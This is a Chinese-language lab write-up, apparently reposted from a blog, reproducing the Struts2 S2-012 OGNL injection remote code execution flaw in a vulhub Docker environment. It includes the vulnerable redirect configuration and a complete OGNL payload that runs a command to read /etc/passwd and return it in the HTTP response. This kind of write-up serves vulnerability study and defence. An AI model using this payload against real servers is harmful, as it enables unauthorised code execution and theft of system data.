(s2-012) Struts2 远程代码执行

Posted 浪人联想

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(s2-012) Struts2 远程代码执行相关的知识,希望对你有一定的参考价值。

影响版本

2.1.0 - 2.3.13

漏洞原理

如果在配置resultaction时使用了重定向类型,并且$ PARAM_NAME也被用作重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=$name</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 $name 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

漏洞复现

打开漏洞环境:

cd /home/ch1/Desktop/vulhub-master/struts2/s2-012
docker-compose up -d
docker ps

访问:http://192.168.8.9:8080/

在重定向参数位置输入%1+1,并抓包发送到repeater模块,点击发送:

看到被解析成了2,这也就造成了代码的执行。这样的话,只要传入S2-001中的poc就可以任意代码执行

poc如下:

%#a=(new java.lang.ProcessBuilder(new java.lang.String[]"cat", "/etc/passwd")).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()

在重定向参数中重新输入:

也可以在burp中重发:


成功实现远程代码执行。
仅供学习!

以上是关于(s2-012) Struts2 远程代码执行的主要内容,如果未能解决你的问题,请参考以下文章

重磅 | Struts2 S2-048远程代码执行漏洞分析报告

Struts2远程代码执行漏洞预警

Struts2 Convention插件远程代码执行

Struts2 S2-029远程代码执行漏洞

struts2 s2-062 ONGL远程代码执行

Apache struts2(S2-052)远程执行代码漏洞